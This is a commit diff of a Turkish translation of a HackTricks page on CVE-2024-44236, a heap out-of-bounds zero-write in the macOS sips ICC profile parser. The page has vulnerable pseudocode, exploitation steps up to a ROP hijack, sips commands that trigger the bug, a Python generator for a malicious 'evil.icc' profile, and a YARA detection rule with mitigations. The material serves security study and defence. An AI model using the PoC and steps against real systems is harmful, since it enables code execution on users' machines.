Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips

This commit is contained in:
Translator 2025-07-30 04:27:47 +00:00
parent d087976957
commit b7d7a1ae51

View File

@ -4,50 +4,94 @@
## Genel Bakış
Apple macOS Scriptable Image Processing System (`sips`) ICC profil ayrıştırıcısındaki bir sınır dışı yazma açığı (macOS 15.0.1, sips-307), `lutAToBType` (`mAB `) ve `lutBToAType` (`mBA `) etiketlerindeki `offsetToCLUT` alanının yetersiz doğrulanmasından kaynaklanmaktadır. Özel olarak hazırlanmış bir ICC dosyası, yığın tamponunun 16 bayt ötesine kadar sıfır yazma işlemlerini tetikleyebilir, bu da yığın meta verilerini veya işlev işaretçilerini bozarak rastgele kod yürütülmesine olanak tanır (CVE-2024-44236).
Apple macOS **Scriptable Image Processing System** (`sips`) ICC profil ayrıştırıcısındaki sınır dışı **sıfır-yazma**ığı (macOS 15.0.1, `sips-307`), bir saldırganın yığın meta verilerini bozmasına ve primitive'i tam kod yürütmeye yönlendirmesine olanak tanır. Hata, `lutAToBType` (`mAB `) ve `lutBToAType` (`mBA `) etiketlerinin `offsetToCLUT` alanının işlenmesinde bulunmaktadır. Saldırganlar `offsetToCLUT == tagDataSize` ayarlarsa, ayrıştırıcı **yığın tamponunun sonundan 16 byte siler**. Yığın spreyleme, saldırgana ayırıcı yapılarını veya daha sonra dereferans edilecek C++ işaretçilerini sıfırlama imkanı tanır ve bu da **arbitrary-write-to-exec** zincirine yol açar (CVE-2024-44236, CVSS 7.8).
## Açık Kodu
> Apple, hatayı macOS Sonoma 15.2 / Ventura 14.7.1'de (30 Ekim 2024) yamanmıştır. İkinci bir varyant (CVE-2025-24185) 1 Nisan 2025'te macOS 15.5 ve iOS/iPadOS 18.5'te düzeltilmiştir.
ık olan fonksiyon, bir saldırgan tarafından kontrol edilen bir ofsetten başlayarak 16 baytı okur ve sıfırlar, bunun tahsis edilen tampon içinde olup olmadığını kontrol etmeden:
## Açık Kod
```c
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
if (i > numberOfInputChannels && buffer[i] != 0)
buffer[i] = 0;
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
}
```
Sadece `offsetToCLUT <= totalDataLength` kontrolü yapılmaktadır. `offsetToCLUT`'yu `tagDataSize` olarak ayarlayarak, döngü `buffer`'ın sonundan 16 byte ötesine kadar indeksler, bitişik heap meta verilerini bozar.
## Exploitasyon Adımları
## Sömürü Adımları
1. **Kötü niyetli bir `.icc` profili oluşturun**
1. **Kötü niyetli `.icc` profili oluşturun:**
- `acsp` imzası ile 128 byte'lık ICC başlığını ve tek bir `lutAToBType` veya `lutBToAType` etiket girişini oluşturun.
- Etiket tablosunda, `offsetToCLUT`'yu etiketin `size`'ına (`tagDataSize`) eşit olarak ayarlayın.
- Heap meta verilerini yazmak için etiket veri bloğunun hemen sonrasına saldırgan kontrolündeki verileri yerleştirin.
2. **Parselamayı tetikleyin:**
* Minimal bir ICC başlığı (`acsp`) ayarlayın ve bir `mAB ` (veya `mBA `) etiketi ekleyin.
* Etiket tablosunu **`offsetToCLUT` etiket boyutuna** (`tagDataSize`) eşit olacak şekilde yapılandırın.
* Etiketin hemen sonrasına saldırgan kontrolündeki verileri yerleştirin, böylece 16 sıfır yazması ayırıcı meta verileriyle örtüşsün.
2. **Profili etkileyen herhangi bir sips işlemi ile ayrıştırmayı tetikleyin**
```bash
sips --verifyColor malicious.icc
# doğrulama yolu (çıktı dosyasına gerek yok)
sips --verifyColor evil.icc
# veya profili gömülü olan görüntüleri dönüştürürken örtük olarak
sips -s format png payload.jpg --out out.png
```
3. **Heap meta veri bozulması:** OOB sıfır-yazmaları, ayırıcı meta verilerini veya bitişik işaretçileri üzerine yazarak, saldırganın kontrol akışını ele geçirmesine ve `sips` süreci bağlamında rastgele kod yürütmesine olanak tanır.
3. **Yığın meta verisi bozulması ➜ keyfi yazma ➜ ROP**
Appleın varsayılan **`nano_zone`** ayırıcısında, 16 baytlık slotlar için meta veriler **0x1000 hizalanmış** bloktan **hemen sonra** bulunur. Profilin etiketini böyle bir bloğun sonuna yerleştirerek, 16 sıfır yazması `meta->slot_B`'yi bozar. Ardından gelen bir `free` işleminden sonra, zehirlenmiş işaretçi küçük serbest listeye eklenir, bu da saldırgana **keyfi bir adreste sahte bir nesne ayırma** ve sips tarafından kullanılan bir C++ vtable işaretçisini yazma imkanı tanır, nihayetinde yürütmeyi kötü niyetli ICC tamponunda saklanan bir ROP zincirine yönlendirir.
### Hızlı PoC üretici (Python 3)
```python
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
```
### YARA tespit kuralı
```yara
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
```
## Etki
Başarılı bir sömürü, macOS sistemlerinde kullanıcı ayrıcalığı ile uzaktan rastgele kod yürütülmesi ile sonuçlanır ve savunmasız `sips` aracını çalıştırır.
Özel olarak hazırlanmış bir ICC profilinin açılması veya işlenmesi, çağrıyı yapan kullanıcının bağlamında uzaktan **keyfi kod yürütme** ile sonuçlanır (Önizleme, QuickLook, Safari görüntü işleme, Mail ekleri vb.), profilin aksi takdirde zararsız olan görüntülerin (PNG/JPEG/TIFF) içine gömülebilmesi nedeniyle Gatekeeper'ı atlatır.
## Tespit
## Tespit ve Azaltma
- Yaygın protokollerde (FTP, HTTP/S, IMAP, SMB, NFS, SMTP) dosya transferlerini izleyin.
- Aktarılan dosyaları `acsp` imzası ile kontrol edin.
- Her `mAB` veya `mBA` etiketi için, `Offset to CLUT` alanının `Tag data size` ile eşit olup olmadığını doğrulayın.
- Bu koşul sağlanıyorsa şüpheli olarak işaretleyin.
* **Yaman!** Ana bilgisayarın macOS ≥ 15.2 / 14.7.1 (veya iOS/iPadOS ≥ 18.1) çalıştığından emin olun.
* Yukarıdaki YARA kuralını e-posta geçitlerinde ve EDR çözümlerinde dağıtın.
* Güvenilmeyen dosyalar üzerinde daha fazla işlem yapmadan önce gömülü ICC profillerini `exiftool -icc_profile= -overwrite_original <file>` ile temizleyin veya kaldırın.
* Bilinmeyen içeriği analiz ederken Önizleme/QuickLook'u "şeffaflık ve modernizasyon" VM'leri içinde kumanda ederek güçlendirin.
* DFIR için, birleşik günlükte kumanda edilen uygulamalar tarafından `sips --verifyColor` veya `ColorSync` kütüphane yüklemelerinin son zamanlarda yürütülüp yürütülmediğine bakın.
## Referanslar
- ZDI blog: CVE-2024-44236: Apple macOS sips Aracındaki Uzaktan Kod Yürütme Açığı
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
- Apple Ekim 2024 Güvenlik Güncellemesi (CVE-2024-44236 yamanın gönderilmesi)
https://support.apple.com/en-us/121564
* Trend Micro Zero Day Initiative danışmanlığı ZDI-24-1445 “Apple macOS ICC Profil Ayrıştırma Sınır Dışı Yazma Uzaktan Kod Yürütme (CVE-2024-44236)”
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
* Apple güvenlik güncellemeleri HT213981 “macOS Sonoma 15.2'nin güvenlik içeriği hakkında”
https://support.apple.com/en-us/HT213981
{{#include ../../banners/hacktricks-training.md}}